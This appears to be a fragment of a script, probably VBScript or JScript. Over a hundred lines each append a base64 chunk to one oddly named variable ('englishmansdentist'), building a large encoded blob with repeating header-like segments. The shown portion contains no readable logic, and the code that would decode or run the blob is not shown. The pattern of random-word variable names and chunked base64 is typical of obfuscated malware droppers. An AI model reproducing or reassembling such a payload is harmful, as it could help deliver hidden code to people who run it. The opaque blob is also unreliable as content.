englishmansdentist+="jP6VliHbFTTPeicVQwGwFo6UccNBaK5k4WucyBfpIE9A0MPs6Iapz7hFKUAu7QFr" + "\r\n"
englishmansdentist+="BQzh03MvKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXz" + "\r\n"
englishmansdentist+="6RJUVJvEbCFWQaMWZbzKO/xANqz5KH0RoXaguFlM1APCOX3jFdqcTxZmSlrNcG3L" + "\r\n"
englishmansdentist+="Bc1R7tO8QGRjK8vY5lYFLDyzDh8HHXUHuWLYink+8/s1td5P5uWPL2VGR1GZhSdq" + "\r\n"
englishmansdentist+="qMht0CgAAAAAAAMVAKEAZAEAUFBOVAARAE1I+NC2tUt307HESc6wHuQzcVrTA5BI" + "\r\n"
englishmansdentist+="XuEZUhEtc1xjpliRVzrixolJfFSjL7skc2jjwb/YLi0P+Yk6ehLjS9BkxzAFn03L" + "\r\n"
englishmansdentist+="Oy0pKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWndtL0" + "\r\n"
englishmansdentist+="qkpdVGBdmhoFP3Mvj4NbQi1d/QdBz1AKXNLY7Fk3lQj61AQxOeLazqLDFeH7a5sW" + "\r\n"
englishmansdentist+="mHdanFsyEfgVqo9LKOS/ZAKOOSl1E5uReneYy1fvybXOnEdjPTIZwEMfdwr7B/1A" + "\r\n"
englishmansdentist+="0SgAAAAAAAMVAKEAZAEAUFBOVAARAE1IU/O8Nmk1QmusNpVUm2BJQbpUennPWgPO" + "\r\n"
englishmansdentist+="3JKcOuinY6AvjjibjRmdLgPqkjDti+GY7SSVQiHBzV56dvwxJmJsSnfpQOGHGuR2" + "\r\n"
englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXqivxanMvG" + "\r\n"
englishmansdentist+="ap+jGGxlAuppYj90kBNTAdC7oUvdHxS6pnoKJRkaB40rtGt17PtAKbZ9Zc1ANyFs" + "\r\n"
englishmansdentist+="jTNTvqRIcCLmdmtM8wOiOxm0IAEDbCnE2WB1t21F92SeuKTjmhsjiS9BupDD0igA" + "\r\n"
englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IHJI0OdFr+TVl8F8lR/fLlRWQBu/SRupq3J7J" + "\r\n"
englishmansdentist+="NuwIAaJQVE5X5AGITbpTB7gWhIhypSnSL6/x7wT35iR/MGqS8bnjvQlwnrRnKAAA" + "\r\n"
englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVvkyt8V7dUECSF" + "\r\n"
englishmansdentist+="vtYkY/Si/oQ8V2sGIGGP0imnnQd82aiCqh0+NYS83PYZKK1i4sarhyPPpQNt4Dou" + "\r\n"
englishmansdentist+="lFs/ArRRsG/FE6etSxBJVaIrcr+MPN+HTcSOkiivQpJyEcllLbcEOSqc0ygAAAAA" + "\r\n"
englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IFtLL5wz3frBAUqoSp6We1X3s305eIZ19ZxCMRT5D" + "\r\n"
englishmansdentist+="5cCzYw5x6Ms4U4v44KI1h1hwcVYZi2uFVRzZ221zJnp5UFgoAxfVPshvKAAAAAAA" + "\r\n"
englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVymrqS4WEtxhIXL3ht" + "\r\n"
englishmansdentist+="70UylL1JDqhUxdx85n+T50OKMrsnpcky5jLTsH5zc5Aeesu0pIoe38oVyUJ8R+Vi" + "\r\n"
englishmansdentist+="WUOJ0JYBedBf6FtF5hYgKU9xv/iNffoJYh48ecH+VqqIHjDM5gob1CgAAAAAAAMV" + "\r\n"
englishmansdentist+="AKEAZAEAUFBOVAARAE1IjYo45GuyNme2TwiqynlZQ4on9SORnjh0U12zp2ki7XJm" + "\r\n"
englishmansdentist+="v2zGbUrWgNlvie48cjrb768kNqr8axgV7P03DlO9iHvTPhs8H+XkKAAAAAAALGQA" + "\r\n"
englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVhiqe9B5In8vMXkPKD1Phe" + "\r\n"
englishmansdentist+="zttl7ceUcq0XKMvBbKo2W0IDeQeN7Q8BdgKSoIkkKrOMSbOpTAXvfqyjnmg/bIHr" + "\r\n"
englishmansdentist+="lsGCiNarxLt4nOBO0e0rxXnnHwb2yf7a1rijg5rwbuqkPKnJ1SgAAAAAAAMVAKEA" + "\r\n"
englishmansdentist+="ZAEAUFBOVAARAE1Il/ULMiyao9MWQRaM8upGbtEXVOtaXzNKEceH9tdrQBYnAYOt" + "\r\n"
englishmansdentist+="5jhgzbkx6kd4FSsVhx6GJh4WC7/WikLxx88BgocIvsIoOw2iKAAAAAAALGQAlgAG" + "\r\n"
englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXJ3ZF9sag97W4jGkE25VGwzNn5" + "\r\n"
englishmansdentist+="CS51C+pjTDRTlusEhPls3P5tc1G8g2p3QNtfmK97YfOt8Ozl8wkbPoL9JQhnpAeA" + "\r\n"
englishmansdentist+="5afQoQ5rRvBrdZvVGBLNW50bU4UOdcYnvVg+RAvM5B+Q1igAAAAAAAMVAKEAZAEA" + "\r\n"
englishmansdentist+="UFBOVAARAE1If5jXK3QJwlSKPGgLZ9xC2+JJQ2lLqhi8xB1N9B9GP6Q/OPwzlhgL" + "\r\n"
englishmansdentist+="18tkFnH6T6a0ovreBc4tK3uGLR1372tRF1KViQJq1dUVKAAAAAAALGQAlgAGc3lz" + "\r\n"
englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUayBAD9utuuuEXhKP2s11BD2QWpjmi" + "\r\n"
englishmansdentist+="rhtWMFlFPLMXdnCh6jcnhWLNS9m901u1kZrwPwRgnUWXMgv9rmryKaat/qynUgT0" + "\r\n"
englishmansdentist+="OA2zB4vqO62bX+6/GU5rqzEjVoo6qye1RrUXNq1e1ygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
englishmansdentist+="VAARAE1Irx+K4xnmSwiDIC6p7HHx3JY/jv5N4BEKF96gzDELyy3u5t8LnUvGC8OV" + "\r\n"
englishmansdentist+="5OL6bZBGtWqmHSObrU2oNkmC74I2WzJCo3eOkS6iKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWU3o0y4Uk1ggxKjWB881PQHZVK3oyJ/kE2R" + "\r\n"
englishmansdentist+="Kih0YpcbQ77jyx5LMzVgk2hv5iA2N42H0FFNtmvcKcubqYixyo8r4fq9UW/NSWnP" + "\r\n"
englishmansdentist+="PpWsfugpB+hbXN/HNI7kSKZPi0Yg8VzUlV7b2CgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
englishmansdentist+="AE1IblI+9wKwa+EyqeNWFKAOBZhTezsZWCKTCAwXp3Fk1YcffCIoDldoSTqy7TIx" + "\r\n"
englishmansdentist+="Vnutlcfgru/IFwwNkzWeNyIvbXuOZOB9y/joKAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWW9yjgNGz6sFlAcaYk0HgmZk0LuoVCTY+ewVuPR" + "\r\n"
englishmansdentist+="hLhwFA9DFC1JH4q8gF0h3OZ9vDP+KE3OjoVOnwko33H+yP5cpuw/mOTE5G8OJn+J" + "\r\n"
englishmansdentist+="uxneFtrevhtrybaB+98J/nOvyaglLN0g2SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
englishmansdentist+="ug13Pf2WYyoILAbB3IsfNwo8ScEn4myACS7YHFHigV1B0eF/h1cWMcr1qQjh162d" + "\r\n"
englishmansdentist+="MLye31MfiMaUBxsmIIEZsJX7sNkCmEPLKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
englishmansdentist+="AxUAoQBkAQBQUE5UABEATWWvvzD17fUYl1M7NKFuBD5mkwdngqT6BUN9elU38BIE" + "\r\n"
englishmansdentist+="9gPc5OwuoGgwiahwFI6Q2L0oBoEuJdIKBmZHK8YBBNd2uqT7j/MXGzqYA56O70kP" + "\r\n"
englishmansdentist+="9h3eD3AFD1WxZF1wAgI1o9N5eJHH2igAAAAAAAMVAKEAZAEAUFBOVAARAE1IwCcS" + "\r\n"
englishmansdentist+="V+VL9q38Ovb95Xie2NQ4esY3x1Ot7fi5Y4bCqco3IZblhYuYV0P2F4qfv6lEUml4" + "\r\n"
englishmansdentist+="jUOV48/qKM48zfMyFSPgVxoy2Ia4KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
englishmansdentist+="oQBkAQBQUE5UABEATWV4nFkcD6mSzVk/shiV2hy+QR8FROuI+2d4xXDhSE+wSHrP" + "\r\n"
englishmansdentist+="EfSbNJ7b8+D4PuK43xFhyNwnH/rEzla9YPzXD+7DU7z3LFxl/SRU/H2gjVf1p+qU" + "\r\n"
englishmansdentist+="S1ZN2jGh/DwR8IxH+jItGDOR2ygAAAAAAAMVAKEAZAEAUFBOVAARAE1IDEjImM/H" + "\r\n"
englishmansdentist+="26iV5BSunHylCwW1zHndNdIMxSl+318dTMcN8AJ96QIhia2az5diAalKgCgLO4sx" + "\r\n"
englishmansdentist+="X16A8Adia441NG2CjVZK77A3KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
englishmansdentist+="AQBQUE5UABEATWUotK8eTSZ/3Z7PSBLAN9fIaN8KmfS8TQTbHz70vmBkdgF9Hj+Z" + "\r\n"
englishmansdentist+="frha51nIcGbYxezLReKozHhTMbjwx3NEq3jM30FmSKgnSReLdLgWgzMbPKhx3f3n" + "\r\n"
englishmansdentist+="IXV5BjLRLvitko0UWsrH3CgAAAAAAAMVAKEAZAEAUFBOVAARAE1IB7iOOl3ZLQJS" + "\r\n"
englishmansdentist+="5y7kn74jUmaWQ2JvHt3PJs6/0I4oZ5xmYFSu4UwfgiogwOj4kcufi0q6O0n4X0Y7" + "\r\n"
englishmansdentist+="+nR38Q5L45/MxSU/lXQsKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
englishmansdentist+="UE5UABEATWWTjf4PplfULsouPxyLEazH06uOK4B9Yw22N34WQYL31jltddtDgSSK" + "\r\n"
englishmansdentist+="tL2Y4dy8Cdas2lFbKu6OwtZeeMll8mOs7YEhqg6LiIkOAfo2i1iWPa8Taz+B4osE" + "\r\n"
englishmansdentist+="UIodScjDSxSxEF+W3SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I8fa3Tbh9BoWFSmkG" + "\r\n"
englishmansdentist+="7F/w28XbBBGgjjpkMd44wqnv+oWCU1E2xE60Bmn7eoqeWGD13m2Nc2i/CrsROJS3" + "\r\n"
englishmansdentist+="HnkmI/Qx1/RqC3m3KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
englishmansdentist+="ABEATWV45qZtJxudI1UtoPp0AyesfMOzMYiNeuItK7x9CNkkY6GHuZAJT/W2Yrub" + "\r\n"
englishmansdentist+="xrG7m2Q4idK+gZrzBbXkVhMhZ++Td2NfLPchHtThvs40QtrW06SNGDLMkAOKvw3e" + "\r\n"
englishmansdentist+="NWbof6E0BjOv3igAAAAAAAMVAKEAZAEAUFBOVAARAE1IzUY0Z1vlaO1j26+42OKL" + "\r\n"
englishmansdentist+="p1zocUIiUn+zrRrfrroFtN+LAbwa+eeC5YC7YpWIpCSDP6V9wGNyRaX2PIGcmf5K" + "\r\n"
englishmansdentist+="w1QVpWuVhSFXKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
englishmansdentist+="TWUvBZeyE/G6crVUxmKnMCZnZx8/HQKYRaiA0EGXqYctwybGYSV/8hdnJARVTsNX" + "\r\n"
englishmansdentist+="AZ1NFl6nzoDcKoMNT61cuHjxSpozxH/d45wUUJptMriZOSH8iXiHajMm/CPyd3zy" + "\r\n"
englishmansdentist+="u/einus63ygAAAAAAAMVAKEAZAEAUFBOVAARAE1IaeWzlzxbcngRNKFvfzjTmVMV" + "\r\n"
englishmansdentist+="TsS4+7qQfRibLmh80+g9UQYld88a5y2qrLsxtbbWCkMfdKcInFp/CqM08GOaCqJm" + "\r\n"
englishmansdentist+="O1bN3zoHKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWX0" + "\r\n"
englishmansdentist+="BTrlIecYxiPBe+7fO/D8R7s/9L8PWJPod6GKakbm2oQ6r/poyT/MwWspNKQTg2pA" + "\r\n"
englishmansdentist+="JM+jf7yHSwfebGGfQ5k+nUVaUkjj4Qq2GMeIXJh+WoBCk7kENBW6nPy2yOqjMMmo" + "\r\n"
englishmansdentist+="KXCG4CgAAAAAAAMVAKEAZAEAUFBOVAARAE1IIT4ccHCv7YCVWXNMxxyz+EfISzby" + "\r\n"
englishmansdentist+="OYb18bf05bXtEYGEcG62Dx8V8Q1oZYx7wkVoalDh1/cJx2KBWpq8gqpCbiqUw1xR" + "\r\n"
englishmansdentist+="W5b7KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWgZrMo" + "\r\n"
englishmansdentist+="p01BX7gr+oFD303Sju04Rmx58MDvUXGlpWG+CFx7L/oD2IdxpUQd3RZF01U0X047" + "\r\n"
englishmansdentist+="fn/xPdnRMaAeOLvCbVQOo+mQ5YTLBzVhVr/+ObQexyRq4wfiG8cmKXjpqCcsKOeN" + "\r\n"
englishmansdentist+="4SgAAAAAAAMVAKEAZAEAUFBOVAARAE1IYp8NwetwmEaS4VwcgSX2SYrd0wMHc9nZ" + "\r\n"
englishmansdentist+="F4+CcxqxxuYZQ5Oa8/wMjQNCXuIt9ZHE3abnMR2WQhwERTMw3zwVqmayAcfxurEE" + "\r\n"
englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWJgmG6cpu5" + "\r\n"
englishmansdentist+="bxOBt04Ffroe8y6HLU+RqZdFPLpOJDQZPaxOpxM6qPnudrujf4r+A9NEdz2BXw3B" + "\r\n"
englishmansdentist+="N1wsGXPsgjyQmlZhq4s3QbEDpewxpnVH/fRb74wxiP7Y99hMzNNJeCUsU6CF4igA" + "\r\n"
englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1Inufq6lycxhh1xBwntRMp9w9rcpgQo38zjq2V" + "\r\n"
englishmansdentist+="4d0IYO3O6LWayQVGMz9cfZfX41m0ZKWPVj/wuMbzY7982zqDeaHpyoE9R2fKKAAA" + "\r\n"
englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWV0LchoVRzW9c6s" + "\r\n"
englishmansdentist+="NbjMNuryC56RbvK82gPDJ70tUtcSaqmyz3vUEOM+DX2jM6fi72n8IQr6nmwYrQlf" + "\r\n"
englishmansdentist+="hfFHMxHlm/PBdKAhpFUGno38ZHuJJBw1jSz2Jdbma96F7wjaHl4zfjvD4ygAAAAA" + "\r\n"
englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1Iq64vTc0iBRc9hmNk3qjs1srTmGAVd4ILJV3XOH9i" + "\r\n"
englishmansdentist+="PZ6RKnh4mZmFShySDrPu012ShmfOFk6FsevXScAisz42BZUHYHvMJvYoKAAAAAAA" + "\r\n"
englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWMNwLjE5iBw0Hbyk+M" + "\r\n"
englishmansdentist+="56oMBD1JETI19b2lw6097mymCsQSohE/Xl2VuTLHk20ObaQw28ZDgPa6VVPjE+iw" + "\r\n"
englishmansdentist+="mkcOoc08mYoXYvpZcem3tORjvo7Odz1NsyMn2vUn/Ohp9x+pGP0q5CgAAAAAAAMV" + "\r\n"
englishmansdentist+="AKEAZAEAUFBOVAARAE1IOzhkrzCsQNpO6F8k+syCzWwqP04gkGk3mhQ97QqmBLC6" + "\r\n"
englishmansdentist+="xKM09fy6XVEfmWn0jvIM3599sqpPRJ3rZATwlzpPbJtFydMIgzjpKAAAAAAALGQA" + "\r\n"
englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWX1DLDsp9bCVMvbvAO01QeB" + "\r\n"
englishmansdentist+="MaWfbtCcydqXxOKibWh8eKbGsdHgc81MgjY/tRbV5nncrtBp25dFxpPhaHvY3TJD" + "\r\n"
englishmansdentist+="6uYMCh821+B2jK4MUwIGZJXeubWFB3xElrk2/aEf7Mx4j5ZC5SgAAAAAAAMVAKEA" + "\r\n"
englishmansdentist+="ZAEAUFBOVAARAE1IgPiUTUhBHwmVF25uIRzn60HHEqrW9JWZxGst4S1tlvvPopUJ" + "\r\n"
englishmansdentist+="vEILfrPaDQRw01FrMcONnavFNn/rClKWDa2wfIAeW9nB/VMCKAAAAAAALGQAlgAG" + "\r\n"
englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUnHLncmvxTXhfoZAWb4S+oZ1Go" + "\r\n"
englishmansdentist+="RUQP+M+nWUjRc3lH8BWuOPjjGLC1YS3uE0yL+9gplWeSJ9PnyQpVr0YMNJh0SG8t" + "\r\n"
englishmansdentist+="o7EpmSonkG9Ck4iGm9c9p2s0wl4IEhPD0O85Y3wyRCtp5igAAAAAAAMVAKEAZAEA" + "\r\n"
englishmansdentist+="UFBOVAARAE1IlLyeOyQcEFRsKx9Dt6tvAg8zpuzMnaRbtCEmuvEcpyFI68I0u9vg" + "\r\n"
englishmansdentist+="UfdNeeq4WKjSgfhuqvcKVxMLBdC0SugF6adTZiMC6t+OKAAAAAAALGQAlgAGc3lz" + "\r\n"
englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWATLh0crcqoYJ70DLzc8ls0Yi0q6Ws" + "\r\n"
englishmansdentist+="hzLBHFjhp2fsongRX4wjTax7MKVQQcn60CUS2YquGGdloMLxzxILddBxfQ1gpLKh" + "\r\n"
englishmansdentist+="17DK5NNbL84vRPite5lcKa81BwtkGzRJPyZNNxD35ygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
englishmansdentist+="VAARAE1ItUg14MM5rM91H4UW3EAMB9UJbSwJKCEuzBbRLdMSMIhc1zvtqx+VsaQo" + "\r\n"
englishmansdentist+="ZDM+UzNekiGBCnaNbEQsHwtEKKHiI4rwQgVCpa3dKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWVkL0J0vzZKzkOXvaMeCCIfUKVUbX57vVjF" + "\r\n"
englishmansdentist+="QJKXalx/9wd9fAc1uxRPRpnZEPjwfEfcAQPwPbS0gUB2VGMxX/lxhWlZUpBBvJ2c" + "\r\n"
englishmansdentist+="YHitKCchDSOBS2Hs7yXGzUmfa8pPeHp/SggO6CgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
englishmansdentist+="AE1I86nXQ/MkHSPyDBqJF4pSmENS1xDwfmv6kli7EUCDnDmiY1+LnCk7YsqU35xT" + "\r\n"
englishmansdentist+="gyK3GI37D9DaoKgRK+r6uoQVGA9fto6VwCqjKAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWVJMU7vIdesKm/ZKz89NAlP6wKaxIe8VznJHKgt" + "\r\n"
englishmansdentist+="gkEoZyrjqvJrA8ugcfld5KtfVw/9ob/B5ak1cZeeaQysBWBwWzGi4MqCQxVzMwIK" + "\r\n"
englishmansdentist+="PUIrV0NRvhHDzGDgXHKRmwlx39PsKUi66SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
englishmansdentist+="etu7x+tV33+4wwfZ3eVelK6zeOolqygQMfOg5hVgHUdeosREg7o34ZHVVZUct8/8" + "\r\n"
englishmansdentist+="4e0EPyvklGlrA4NMNfMEFgps3FwDRJ+UKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
englishmansdentist+="AxUAoQBkAQBQUE5UABEATWXYcWvMcKesvD8db9HLRqlvoRxM5dONSYOs1WQsWFgj" + "\r\n"
englishmansdentist+="wFGYhQp5JvcQUd0T4456pK9nwLHppVmirSeJow+h5y9bZFPHIfggGftG3i30IbMq" + "\r\n"
englishmansdentist+="gfiERMqBEC6A/TXNsyNqnB4fsT8v6igAAAAAAAMVAKEAZAEAUFBOVAARAE1I3xDf" + "\r\n"
englishmansdentist+="TfnS39hasUIGOfeJTmnrbqhgkgENQ+KpiznP25ZB+YWb7XY+pDe1XiC0uuh3gLVV" + "\r\n"
englishmansdentist+="oSFbN1GW1vzuEs9/BVZorkFMijmyKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
englishmansdentist+="oQBkAQBQUE5UABEATWXgjl9/n3Cxlx68MqvAXWAD2VeoWbLY622IbGFh5Nu0qqSN" + "\r\n"
englishmansdentist+="gZ3SxhpHtdXFzmFkTe3r/CCoyxzJDGCgDuwyPnJ8+JF0tNN1RGXqXzLc00m2Idfp" + "\r\n"
englishmansdentist+="RH6w0bFjlCmOlViMIlp8/UrR6ygAAAAAAAMVAKEAZAEAUFBOVAARAE1IzTY4GYQ/" + "\r\n"
englishmansdentist+="CG+M50L508NbQmQ+HkABrSbYHKhYxfTAfr6Tz+XTdeQ65acsdRg3uhYsjKpxtalh" + "\r\n"
englishmansdentist+="evrvgJR/VEvyFKMRI03TRSdpKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
englishmansdentist+="AQBQUE5UABEATWXsBMRkhIiHNXll+CC8/Z8N7wU+mauc8jAdzLKB4N+P6cdiiBJo" + "\r\n"
englishmansdentist+="bDIfJMnqJY/HC93bMZ5qPzgzOs7gPb0Iu6YlUU0ImbMx+nQqOWKtmoihDiEM8Yxy" + "\r\n"
englishmansdentist+="KcogKjVRj9Fl/pNCx2S/7CgAAAAAAAMVAKEAZAEAUFBOVAARAE1IYiU0iNIdYOyH" + "\r\n"
englishmansdentist+="kaj+yZtS59EDQZhNs2XNAfKTgwTiuIyTH5N3D+TTYR281N+W9cSnGeN/JvhT25pu" + "\r\n"
englishmansdentist+="BssGorX4UJWBNiF1C4/OKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
englishmansdentist+="UE5UABEATWVWbT6n5Dk8RiRy2QuaEvtcKL917dFgCqXYNaU1SBNRQEqPZBG/hIp9" + "\r\n"
englishmansdentist+="9tYJVkbx98FZ0sLk8wi0cPqmziFpgboJQJIxndYEcFXFxjHhtAbjw150VU4M3K3X" + "\r\n"
englishmansdentist+="utMKIm7qWsOkb/ae7SgAAAAAAAMVAKEAZAEAUFBOVAARAE1IieuQGuCA3ktMXsGi" + "\r\n"
englishmansdentist+="tmEsXcQXik8EORY9i+miVwutaynQdntjzMMF9hgce+UL4LgJefTQkOrfGjihHu/s" + "\r\n"
englishmansdentist+="M1OzFl7ppg4s4fkYKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
englishmansdentist+="ABEATWXIX91bLcHNEiK/6Z2lWaWpODCF+vr0Vw18jXI9zauHob5aox4TW6kCZsMn" + "\r\n"
englishmansdentist+="vp27rut7z5M8datFeCy3IWSrgNVV+EFqjd2I8CmVWMGGWKiTI0i7J7LUG9qRCMDh" + "\r\n"
englishmansdentist+="NeBBdbcmUL1O7igAAAAAAAMVAKEAZAEAUFBOVAARAE1I17GzoaPf3s+JSh81Ha9C" + "\r\n"
englishmansdentist+="qnRs01NeEcutsl1mGZjMCVNxxWBLLb6FugxMfNgdeMW421FefiAO2haVxgeMTAWo" + "\r\n"
englishmansdentist+="0kA82c15aKixKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
englishmansdentist+="TWXe60WIHOZ+urUECKbiLvj3HPkm9+RO2E8JDmOddU4lZzXkdYeP0SLQ1UnJG+zq" + "\r\n"
englishmansdentist+="8C8C/PL6rgbEjLDGqe+487jUWYR23ZoeS2o5aQr5Jsl70jJbDgubkHubSXS/xXze" + "\r\n"
englishmansdentist+="DzzJlxlg7ygAAAAAAAMVAKEAZAEAUFBOVAARAE1IAbF8OAc3iiogVTRQuil0WEZb" + "\r\n"
englishmansdentist+="9NUMqSjpqZ+4Jyl4kaozgSY3hg1/VhQin03QA5Xl89oR2liIwevMzTVnPgN+HUiC" + "\r\n"
englishmansdentist+="lqkyy4TzKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXh" + "\r\n"
englishmansdentist+="yDDF0wxCe5KPlpG4tN4mHAfeFv6l5uMCuhAgo+CVQRjrOvNN8bOisPs5KdpeMbV0" + "\r\n"
englishmansdentist+="8geUh0w/88UxsGiePh9B4zz4YOTok7eNro4amjvViFlA2ZAYcVgHovOIoxFa8cEg" + "\r\n"
englishmansdentist+="ZpfW8CgAAAAAAAMVAKEAZAEAUFBOVAARAE1Idavk1As8FSb0iFZM+ql19hkVcZpU" + "\r\n"
englishmansdentist+="I4oxDztIV04tIWz8gSPktEI6UhUOmHky6dgGIr02ATXYkr7UaL5bl0yLgqI0IZW/" + "\r\n"
englishmansdentist+="Z0fvKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVLGfVR" + "\r\n"
englishmansdentist+="dMrwPOh+sEpPRmNBxvZh98+Rtbq1GShdB1R4lQ6ALNzrHZBkUu5bT1KUrPJ0gKIZ" + "\r\n"
englishmansdentist+="btJmCKkL3XkMxOwlAaRd7Gm0bI5pLhS1lQT+WI4lWnGT6UmYIXJa8fxxrMPnZhse" + "\r\n"
englishmansdentist+="8SgAAAAAAAMVAKEAZAEAUFBOVAARAE1IXHIsGGHlIuQZ0Nc98ZHIfgu69PHdNhaW" + "\r\n"
englishmansdentist+="qyGn47o7VcjkQFagkEQ1E4JGnLSl95aERjDo1dLM8vyUorc7ihJqHcgJXxV+BmI6" + "\r\n"
englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUktpUe1BPV" + "\r\n"
englishmansdentist+="kF47i1MUNkGG28eYyZ1uIgp1xJ2h0WQqHPN5+hfTIwJ4F9gqvt/vrVZMcPXXWVSn" + "\r\n"
englishmansdentist+="RQF2WMFjL3RFkPHljiDw9dnUDvq2ngxWXFqBYfdOU49UKCK1PCawjAdFhl258igA" + "\r\n"
englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IXdX+GKzjGyPdG75OHuhP/DiB1ntS1ckXPsQu" + "\r\n"
englishmansdentist+="evqsShJZpM5fWW+QL1Y80a5emh8M8XvkzoivjKH5yXeHUNqAXgjDfKU7ykpSKAAA" + "\r\n"
englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXgE9/BhpUdh4lq" + "\r\n"
englishmansdentist+="hCaGxeN4yarq1ICRvqWCHYqmWhofRovIp5Wp3HUhLvfpI6RHlH9I1n7UdlypQRQi" + "\r\n"
englishmansdentist+="4eZohsoXfxZMA4N/Q9I1YbYt6V9W2zhEhcW8zMnIJMvStsBG9hAVNVWn8ygAAAAA" + "\r\n"
englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IeJGD2iNg6XMERL4EgnW9qJJ5lSJJnxYmZZMtw8nq" + "\r\n"
englishmansdentist+="uOiSMSC/njv180s5Uq07clJHzgVoeD+lzRb7r+UURoHN+ISE6VR4wKpqKAAAAAAA" + "\r\n"
englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWW4gnncncrMNvwbhD/q" + "\r\n"
englishmansdentist+="coEo2uqBJ1jQXc2rt5esqEhLZfRyhtsMlynOTmkbM1kdJsj3k0Jm8zSPJg39yC1S" + "\r\n"
englishmansdentist+="r3cuTVu0PA94xTaYqDpXvkkOMfgHV4s8jvaFUJkHerpcPuK1oCfW9CgAAAAAAAMV" + "\r\n"
englishmansdentist+="AKEAZAEAUFBOVAARAE1IXJVmVFyf4Pd2JAFbI6jUknNMjz3MzcGDVD4VYc6p483L" + "\r\n"
englishmansdentist+="oD7bvhP0qQdZJAtp4r3CDGK6ZHrkUIK1yNhW2ePfimDQ4EuR1UFHKAAAAAAALGQA" + "\r\n"
englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUdKgrNZir0qZhNRdn+OfL1" + "\r\n"
englishmansdentist+="ov3ML8fH9r1G5k/gTL9384lVqvpZ+Eoc2hFhRKYj1KYDYaImLNPmZcws7qoPtDQe" + "\r\n"
englishmansdentist+="TyVmrC7TcTi3OakTZQ0BpOQFajtGjlzAdG6Re5yc/XSNbQrH9SgAAAAAAAMVAKEA" + "\r\n"
englishmansdentist+="ZAEAUFBOVAARAE1IdUYJYz7aI3rSXnFFg3ijOPmK51jYB2zpamg/9pKHwfdp4JdN" + "\r\n"
englishmansdentist+="ppM4fTeRCSo93zSr1lwFAsjXIF6NEk3o0lUst+pAjOdMhbjdKAAAAAAALGQAlgAG" + "\r\n"
englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWV6IYw8md9n8BGiF883R7ACx5lh" + "\r\n"
